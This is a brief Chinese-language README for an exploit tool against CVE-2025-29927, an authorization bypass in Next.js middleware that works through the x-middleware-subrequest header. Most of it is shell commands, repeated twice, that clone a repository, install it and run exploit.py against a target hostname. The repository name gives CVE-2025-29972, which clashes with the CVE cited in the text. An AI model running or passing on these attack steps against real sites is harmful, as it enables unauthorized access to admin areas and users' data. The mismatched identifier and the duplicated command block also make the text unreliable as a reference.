CVE-2025-29927 是一个影响 Next.js 的关键安全漏洞,Next.js 是一个用于构建全栈 Web 应用程序的流行 React 框架。此漏洞允许攻击者绕过 Next.js 中间件中实现的授权检查,可能授予对应用程序敏感区域(如管理页面或用户仪表板)的未授权访问。
该漏洞源于对内部 x-middleware-subrequest 头的不当处理。通过构造包含此头的请求,攻击者可以绕过中间件安全检查,从而有效地跳过身份验证和授权机制。
git clone https://github.com/ThemeHackers/CVE-2025-29972
cd CVE-2025-29972
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
python3 exploit.py -h
git clone https://github.com/ThemeHackers/CVE-2025-29972
cd CVE-2025-29972
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
python3 exploit.py --hostname HOSTNAME
⚠️ 注意: 请确保您的 Next.js 应用程序始终更新到最新的稳定版本,以防止安全风险。